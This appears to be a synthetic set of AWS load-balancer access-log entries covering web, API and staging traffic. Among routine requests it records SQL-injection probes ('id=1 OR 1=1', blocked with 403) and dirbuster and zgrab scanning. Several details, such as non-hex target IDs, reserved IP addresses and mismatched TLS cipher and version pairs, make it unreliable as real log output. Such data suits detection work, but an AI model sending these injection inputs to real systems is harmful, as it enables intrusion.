ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c560-0d75d11be50b42399e7d9b70" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:56.687232Z "forward" "-" "-" "10.0.171.155:443" "200" "-" "-" -https 2024-11-01T00:58:57.522650Z prod-web-alb 216.114.178.219:26695 10.0.153.31:443 0.039070 0.400569 0.032725 302 302 869 8274 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c561-abbcab661c3640e485fee29f" "-" "-" 6 2024-11-01T00:58:57.522650Z "forward" "-" "-" "10.0.153.31:443" "302" "-" "-" -https 2024-11-01T00:58:58.901802Z prod-api-alb 143.57.240.72:39225 10.0.22.75:443 0.079446 0.135833 0.062068 404 404 368 12476 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c562-86408f67986a48368132d8de" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:58.901802Z "forward" "-" "-" "10.0.22.75:443" "404" "-" "-" -https 2024-11-01T00:59:00.131788Z prod-web-alb 60.45.217.239:22974 10.0.229.12:443 0.065978 0.058798 0.079747 404 404 916 4800 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c564-868e71e950fc49dd804fc7a3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:59:00.131788Z "forward" "-" "-" "10.0.229.12:443" "404" "-" "-" -https 2024-11-01T00:59:01.108912Z prod-api-alb 34.107.146.218:45712 10.0.74.73:443 0.083625 0.306140 0.088903 302 302 135 8359 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c565-f91f25f5b2ac4b3bb8443fc6" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:01.108912Z "forward" "-" "-" "10.0.74.73:443" "302" "-" "-" -https 2024-11-01T00:59:01.267868Z prod-web-alb 185.181.21.23:32079 10.0.43.98:443 0.059855 0.050212 0.031550 403 403 761 5412 "POST /users?id=1 OR 1=1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c565-07f7b66adde54e33ab4aad49" "-" "-" 6 2024-11-01T00:59:01.267868Z "forward" "-" "-" "10.0.43.98:443" "403" "-" "-" -http 2024-11-01T00:59:02.410813Z staging-alb 163.210.37.178:10739 197.119.147.115:443 0.002026 0.695186 0.072587 200 200 815 9100 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c566-139c25fca93249be8c73f38a" "staging-alb.example.com" "-" 10 2024-11-01T00:59:02.410813Z "forward" "-" "-" "197.119.147.115:443" "200" "-" "-" -https 2024-11-01T00:59:02.932368Z prod-api-alb 214.87.233.207:19511 10.0.142.210:443 0.002471 0.072302 0.065733 404 404 379 10422 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c566-e9fdf72f8dae46b1a6ea241e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:59:02.932368Z "forward" "-" "-" "10.0.142.210:443" "404" "-" "-" -https 2024-11-01T00:59:03.627707Z prod-api-alb 144.45.224.50:51237 10.0.34.155:443 0.085138 0.399318 0.084411 200 200 463 2316 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c567-d6f88096e706450ba612e532" "prod-api-alb.example.com" "-" 7 2024-11-01T00:59:03.627707Z "forward" "-" "-" "10.0.34.155:443" "200" "-" "-" -https 2024-11-01T00:59:04.124051Z prod-web-alb 95.193.206.164:24495 10.0.24.47:443 0.040886 0.178939 0.009432 200 200 696 12554 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c568-cd997cbc196c421eb1510a14" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:04.124051Z "forward" "-" "-" "10.0.24.47:443" "200" "-" "-" -http 2024-11-01T00:59:05.989155Z staging-alb 5.94.7.10:41798 49.218.192.24:8080 0.074164 0.517797 0.127691 200 200 876 3514 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c569-c96b36debd184cb0af1acd10" "staging-alb.example.com" "-" 3 2024-11-01T00:59:05.989155Z "forward" "-" "-" "49.218.192.24:8080" "200" "-" "-" -https 2024-11-01T00:59:07.962393Z staging-alb 248.202.88.174:35788 7.100.248.40:8080 0.105809 0.020300 0.015830 404 404 379 7813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c56b-2d1dce1f76714b49801de071" "staging-alb.example.com" "-" 3 2024-11-01T00:59:07.962393Z "forward" "-" "-" "7.100.248.40:8080" "404" "-" "-" -https 2024-11-01T00:59:09.640980Z prod-web-alb 117.177.48.78:40119 10.0.176.49:443 0.079728 0.033114 0.085966 200 200 338 9866 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c56d-655fa602e2994c6f8fc3aa56" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:09.640980Z "forward" "-" "-" "10.0.176.49:443" "200" "-" "-" -https 2024-11-01T00:59:11.232204Z prod-api-alb 28.13.220.189:18331 10.0.160.245:443 0.004679 0.243325 0.025087 302 302 679 2985 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c56f-924acdd323ce4717a6f67578" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:11.232204Z "forward" "-" "-" "10.0.160.245:443" "302" "-" "-" -https 2024-11-01T00:59:11.790053Z prod-web-alb 149.229.242.142:37805 10.0.233.253:443 0.041002 0.166301 0.069028 200 200 872 7944 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c56f-b40240a488ac491eb558ec69" "prod-web-alb.example.com" "-" 1 2024-11-01T00:59:11.790053Z "forward" "-" "-" "10.0.233.253:443" "200" "-" "-" -https 2024-11-01T00:59:13.004660Z prod-api-alb 211.16.234.229:17425 10.0.172.217:443 0.077015 0.452952 0.072804 302 302 524 11789 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c571-17834e538a4b4a0f91a8ab08" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:13.004660Z "forward" "-" "-" "10.0.172.217:443" "302" "-" "-" -https 2024-11-01T00:59:13.964677Z prod-web-alb 225.186.173.26:21603 10.0.199.63:443 0.092179 0.076181 0.019281 200 200 813 2519 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c571-0d8ce2adee5a4e29bbe9bb4d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:13.964677Z "forward" "-" "-" "10.0.199.63:443" "200" "-" "-" -https 2024-11-01T00:59:15.079243Z prod-web-alb 117.246.89.71:26367 10.0.16.162:443 0.086986 0.095506 0.025348 200 200 962 1098 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c573-ad85e1343a144c46adc3fd83" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:15.079243Z "forward" "-" "-" "10.0.16.162:443" "200" "-" "-" -https 2024-11-01T00:59:16.122358Z prod-api-alb 242.149.80.245:56725 10.0.143.229:443 0.013798 0.327940 0.067374 200 200 341 13466 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c574-d333d2249cf34bdfb968b5c3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:16.122358Z "forward" "-" "-" "10.0.143.229:443" "200" "-" "-" -https 2024-11-01T00:59:17.867092Z prod-web-alb 172.245.132.38:54685 10.0.146.174:443 0.031485 0.303555 0.012113 200 200 283 11758 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c575-1c3612e675134ef48f0d4aa7" "prod-web-alb.example.com" "-" 9 2024-11-01T00:59:17.867092Z "forward" "-" "-" "10.0.146.174:443" "200" "-" "-" -https 2024-11-01T00:59:17.986125Z staging-alb 55.223.67.204:20335 113.130.40.207:80 0.149289 0.542629 0.076180 301 301 118 1783 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c575-4e986b9a7b9841b0ba5fa9d6" "staging-alb.example.com" "-" 8 2024-11-01T00:59:17.986125Z "forward" "-" "-" "113.130.40.207:80" "301" "-" "-" -https 2024-11-01T00:59:18.242112Z prod-web-alb 185.181.95.188:29236 10.0.88.64:443 0.047794 0.279351 0.028149 403 403 680 6544 "POST /users?id=1 OR 1=1 HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c576-de76ed903a2044fe98bd198a" "-" "-" 6 2024-11-01T00:59:18.242112Z "forward" "-" "-" "10.0.88.64:443" "403" "-" "-" -https 2024-11-01T00:59:19.172703Z prod-api-alb 138.49.126.252:10604 10.0.42.179:443 0.032573 0.162803 0.020020 200 200 373 9128 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c577-6d4ff7dc8524423c9f14d27c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:59:19.172703Z "forward" "-" "-" "10.0.42.179:443" "200" "-" "-" -https 2024-11-01T00:59:19.555051Z prod-web-alb 248.207.226.114:43832 10.0.252.190:443 0.041153 0.331531 0.016669 200 200 745 2572 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c577-8425d58bb4444440b23645cb" "prod-web-alb.example.com" "-" 6 2024-11-01T00:59:19.555051Z "forward" "-" "-" "10.0.252.190:443" "200" "-" "-" -https 2024-11-01T00:59:21.041437Z staging-alb 198.50.92.190:37660 87.56.219.235:80 0.143849 0.432962 0.147767 301 301 581 6692 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c579-e17acf234d704676a1cb694b" "staging-alb.example.com" "-" 4 2024-11-01T00:59:21.041437Z "forward" "-" "-" "87.56.219.235:80" "301" "-" "-" -https 2024-11-01T00:59:21.207144Z prod-web-alb 202.187.17.190:57975 10.0.21.235:443 0.021901 0.489730 0.079966 200 200 227 14651 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c579-b2c174ecaebc4f3c9871e51b" "prod-web-alb.example.com" "-" 7 2024-11-01T00:59:21.207144Z "forward" "-" "-" "10.0.21.235:443" "200" "-" "-" -https 2024-11-01T00:59:21.726111Z prod-web-alb 208.91.159.203:14486 10.0.212.16:443 0.041039 0.138197 0.048510 302 302 934 3455 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c579-acdb1f790e9041b39ead2f0a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:59:21.726111Z "forward" "-" "-" "10.0.212.16:443" "302" "-" "-" -https 2024-11-01T00:59:21.983698Z staging-alb 188.166.72.33:57549 59.97.4.8:443 0.068683 0.665100 0.109539 301 301 51 4174 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c579-290a2721cf0e4745bc12067b" "staging-alb.example.com" "-" 6 2024-11-01T00:59:21.983698Z "forward" "-" "-" "59.97.4.8:443" "301" "-" "-" -https 2024-11-01T00:59:22.997136Z prod-web-alb 183.37.220.228:62202 10.0.204.133:443 0.096967 0.230566 0.074935 301 301 647 10285 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c57a-2437236aa3504127b677002a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:22.997136Z "forward" "-" "-" "10.0.204.133:443" "301" "-" "-" -https 2024-11-01T00:59:24.601704Z staging-alb 132.53.170.126:61728 81.175.49.53:8080 0.022116 0.558858 0.021149 404 404 317 2787 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c57c-662d130637a54b9caf7109b9" "staging-alb.example.com" "-" 8 2024-11-01T00:59:24.601704Z "forward" "-" "-" "81.175.49.53:8080" "404" "-" "-" -https 2024-11-01T00:59:26.190509Z staging-alb 189.62.203.6:54611 74.21.226.74:80 0.130702 0.321938 0.022743 302 302 272 1913 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c57e-f95d70bb2dbf4dadaaeb44ef" "staging-alb.example.com" "-" 0 2024-11-01T00:59:26.190509Z "forward" "-" "-" "74.21.226.74:80" "302" "-" "-" -https 2024-11-01T00:59:27.222983Z staging-alb 95.15.115.185:36416 63.141.87.224:443 0.029332 0.611382 0.135775 200 200 232 7652 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c57f-4e51eb1b4f224e8e96124f94" "staging-alb.example.com" "-" 4 2024-11-01T00:59:27.222983Z "forward" "-" "-" "63.141.87.224:443" "200" "-" "-" -https 2024-11-01T00:59:28.150441Z prod-api-alb 185.181.110.51:64137 10.0.201.228:443 0.064213 0.194265 0.074233 302 302 169 11420 "POST /admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c580-fbce2e41d18b47a68e95459f" "-" "-" 7 2024-11-01T00:59:28.150441Z "forward" "-" "-" "10.0.201.228:443" "302" "-" "-" -https 2024-11-01T00:59:29.802872Z prod-api-alb 230.52.207.166:54397 10.0.71.17:443 0.001051 0.331135 0.067109 404 404 477 3629 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c581-5abf372f20da4decbc2de5ad" "prod-api-alb.example.com" "-" 0 2024-11-01T00:59:29.802872Z "forward" "-" "-" "10.0.71.17:443" "404" "-" "-" -https 2024-11-01T00:59:30.269434Z staging-alb 21.118.144.71:18908 184.60.76.166:443 0.086008 0.353380 0.057985 301 301 207 3184 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c582-a572a56b75e54c4b8111bca3" "staging-alb.example.com" "-" 1 2024-11-01T00:59:30.269434Z "forward" "-" "-" "184.60.76.166:443" "301" "-" "-" -https 2024-11-01T00:59:31.680544Z prod-api-alb 254.87.59.216:13996 10.0.36.108:443 0.045940 0.361903 0.050618 200 200 207 5771 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c583-d47741dce1ba4ca18567592e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:31.680544Z "forward" "-" "-" "10.0.36.108:443" "200" "-" "-" -https 2024-11-01T00:59:33.065199Z prod-web-alb 91.131.229.167:12247 10.0.195.251:443 0.058858 0.282243 0.014373 301 301 96 7695 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c585-5c1b18129bf241a2be1083c1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:33.065199Z "forward" "-" "-" "10.0.195.251:443" "301" "-" "-" -https 2024-11-01T00:59:34.373757Z prod-api-alb 218.202.80.173:56346 10.0.154.102:443 0.012001 0.240552 0.031219 200 200 296 4415 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c586-36ebd7b685d64c5e86577583" "prod-api-alb.example.com" "-" 3 2024-11-01T00:59:34.373757Z "forward" "-" "-" "10.0.154.102:443" "200" "-" "-" -https 2024-11-01T00:59:34.532999Z staging-alb 148.157.66.55:53914 99.122.38.246:80 0.097677 0.309579 0.055748 200 200 765 7737 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c586-8f1c2e9e84b84928a4d98239" "staging-alb.example.com" "-" 5 2024-11-01T00:59:34.532999Z "forward" "-" "-" "99.122.38.246:80" "200" "-" "-" -http 2024-11-01T00:59:35.513821Z staging-alb 50.56.228.106:22880 88.174.15.89:80 0.042585 0.314664 0.062833 200 200 744 7503 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c587-fcadc6f44739487ab037a1fe" "staging-alb.example.com" "-" 6 2024-11-01T00:59:35.513821Z "forward" "-" "-" "88.174.15.89:80" "200" "-" "-" -http 2024-11-01T00:59:36.167502Z staging-alb 33.3.248.171:54168 78.194.235.28:443 0.127289 0.670074 0.014818 404 404 820 4659 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c588-a0995ec2daab45b9bc4b938a" "staging-alb.example.com" "-" 8 2024-11-01T00:59:36.167502Z "forward" "-" "-" "78.194.235.28:443" "404" "-" "-" -https 2024-11-01T00:59:37.084230Z prod-web-alb 114.110.117.27:57660 10.0.192.128:443 0.045548 0.067304 0.035792 404 404 519 7498 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c589-606d8f8026db4df2b27a0b08" "prod-web-alb.example.com" "-" 3 2024-11-01T00:59:37.084230Z "forward" "-" "-" "10.0.192.128:443" "404" "-" "-" -https 2024-11-01T00:59:39.051434Z staging-alb 48.168.47.20:30005 234.77.94.160:443 0.020289 0.433339 0.055076 200 200 177 10360 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58b-9117e8327c5248f9a7aa7de0" "staging-alb.example.com" "-" 5 2024-11-01T00:59:39.051434Z "forward" "-" "-" "234.77.94.160:443" "200" "-" "-" -https 2024-11-01T00:59:40.053621Z staging-alb 200.187.109.183:60410 133.184.16.239:443 0.028400 0.414552 0.128931 200 200 925 1648 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58c-3a883e0c1c034c1891e87d84" "staging-alb.example.com" "-" 3 2024-11-01T00:59:40.053621Z "forward" "-" "-" "133.184.16.239:443" "200" "-" "-" -https 2024-11-01T00:59:41.280186Z prod-web-alb 194.57.139.144:29927 10.0.253.167:443 0.081548 0.443240 0.041267 200 200 373 6389 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c58d-b077d98c794a45979a11c530" "prod-web-alb.example.com" "-" 10 2024-11-01T00:59:41.280186Z "forward" "-" "-" "10.0.253.167:443" "200" "-" "-" -http 2024-11-01T00:59:42.962027Z staging-alb 57.134.234.243:58425 237.134.215.102:80 0.058518 0.119508 0.149592 200 200 181 14863 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c58e-0b9d007767d04db880d18784" "staging-alb.example.com" "-" 2 2024-11-01T00:59:42.962027Z "forward" "-" "-" "237.134.215.102:80" "200" "-" "-" -https 2024-11-01T00:59:44.756642Z prod-web-alb 202.130.43.221:42972 10.0.190.249:443 0.088477 0.127090 0.013652 404 404 164 13003 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c590-3436e5c3deab4ebdb4030808" "prod-web-alb.example.com" "-" 0 2024-11-01T00:59:44.756642Z "forward" "-" "-" "10.0.190.249:443" "404" "-" "-" -https 2024-11-01T00:59:45.410340Z staging-alb 81.192.189.48:31990 232.66.100.21:8080 0.146942 0.258106 0.058928 200 200 953 14741 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c591-1454a97e23694a879f52b687" "staging-alb.example.com" "-" 4 2024-11-01T00:59:45.410340Z "forward" "-" "-" "232.66.100.21:8080" "200" "-" "-" -https 2024-11-01T00:59:45.556681Z prod-web-alb 69.7.161.73:13262 10.0.69.183:443 0.050859 0.177226 0.023658 302 302 565 9937 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 